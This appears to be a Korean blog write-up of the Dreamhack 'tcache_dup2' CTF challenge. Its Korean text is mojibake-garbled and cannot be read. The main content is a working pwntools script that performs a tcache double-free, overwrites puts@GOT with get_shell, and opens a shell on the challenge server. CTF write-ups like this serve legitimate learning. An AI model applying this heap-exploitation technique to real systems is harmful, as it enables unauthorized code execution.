tcache_dup2
๋ฌธ์ ํ์ด
์ด์ ์ด๋ ๋ณดํธ๊ธฐ๋ฒ๋ ๋๊ฐ๊ณ
์ฝ๋๋ง ์ด์ง ๋ฐ๋ ๋ชจ์ต์ผ๋ก ์ด์ ๊ณผ ๊ฐ์ด ์คํํ๋ฉด ๋ฌดํ๋ฃจํ์ ๋น ์ง๊ธฐ์
ํจ์๋ฅผ ํตํด p64 ๋ฐ์ดํฐ ์ ์ก ๊ณผ์ ์์ ์ ์กํ ๋ฐ์ดํฐ์ ๋ค๋ฅธ ๋ฐ์ดํฐ๊ฐ ์ฐํ๋ ๋ฌธ์ ๊ฐ ์์๋ค์
์คํํด๋ณด๋ฉด์ ๋ง์ด ๋งํ๋๋ฐ ๊ทธ ๋ถ๋ถ๋ง ์๋์ผ๋ก ๋ฐ๊ฟ์ ํ๋ฉด ๋ ๋ฏ ํฉ๋๋ค.
Exploit ์ค๊ณ
๋ค๋ฅธ ๋ถ๋ถ๋ ๋ง์ฐฌ๊ฐ์ง๊ณ ์ถ๊ฐ์ ์ธ ์ธ์๋ฅผ ์
๋ ฅํ์ฌ ํ์ธํ๋ ๋ถ๋ถ๊ณผ modify๊ฐ ์ถ๊ฐ๋ ๋ชจ์ต์
๋๋ค.
ํ์ง๋ง ๊ทธ๋ฌํ ๋ถ๋ถ์ idx๊ฐ 8์ ์ด๊ณผํ๋ฉด ์๋๋ค.. ์ค๋ช
์ ์ด์ ๋ด์ฉ์์ ๋ฌด์ง ๋ง์ด ํ์ผ๋ฏ๋ก
์ฌ๊ธฐ์ ์ด์ ์ฝ๋๋ฅผ ํ์ฉํด์ ์์ฑํด๋ณผ๊น์? ๊ณต๊ฒฉ๊ธฐ๋ฒ์ ์ ๊ทผ ๋ฐฉ์๋ ์ ์ฌํ๋ฏ๋ก..
Exploit
์์์ ๋ค ์ค๋ช ํ์ผ๋ ์ถ๊ฐ์ ์ธ ๋ถ๋ถ๋ง ๊ฐ๋จํ ์ค๋ช ํ๊ณ ๋์ด๊ฐ๊ฒ ์ต๋๋ค.
์ด ๋ถ๋ถ์ DFB์ ๋ถ๋ถ์ ๊ธฐ๋ณธ์ด๋ฏ๋ก ์ด์ ๋์ด๊ฐ๊ป์
์ด๋ฒ์ ํด์ ๋ฅผ ๋ฐ๋ก ํ๋๋ฐ ๊ทธ ์ด์ ๋ modify๊ฐ ์กด์ฌํ๋ฏ๋ก ํด๋น ํจ์๋ฅผ ํ์ฉํ์ฌ ๋ฃ์์ต๋๋ค.
์ด์ ์ฝ๋์์ chunk๋ฅผ ๋๋ฒ๋ง freeํจ์ผ๋ก์จ.. ๊ทผ๋ฐ ์๊ฐํด๋ณด๋ฉด chunk๋ฅผ ๋๊ฐ๋ง freeํด๋ ์ถฉ๋ถํ๊ฒ ๋ค
๋ํ puts๊ฐ ์๋๊ณ printf, read์ got๋ก๋ ์ ๊ทผ์ด ์๋๊ธฐ์ ์ด์ํ๋ค..
1234567891011121314151617181920212223242526272829303132333435 from pwn import *p=remote('host3.dreamhack.games', 17503)e=ELF("./tcache_dup2")def create(size,data):p.sendlineafter("> ",str(1))p.sendlineafter("Size: ",str(size))p.sendafter("Data: ",data)def Modify(idx,size,data):p.sendlineafter("> ",str(2))p.sendlineafter("idx: ",str(idx))p.sendlineafter("Size: ",str(size))p.sendafter("Data: ",data)def delete(idx):p.sendlineafter("> ",str(3))p.sendlineafter("idx: ",str(idx))create(0x10,"AAAA")create(0x10,"AAAA")delete(0)delete(1)#why "A"*0x4์ผ๋ก ์คํ์ด ์ ์๋์.. 0x10์ผ๋ก ์๋ํ์ต๋๋คModify(1,0x10,"A"*0x10)delete(1)create(0x10,p64(e.got['puts']))create(0x10,"AAAA")create(0x10,p64(e.symbols['get_shell']))p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
seccomp (0) | 2022.11.06 |
---|---|
Bypass SECCOMP-1 (0) | 2022.11.06 |
sint (0) | 2022.11.06 |
tcache_dup (0) | 2022.11.06 |
validator (0) | 2022.11.06 |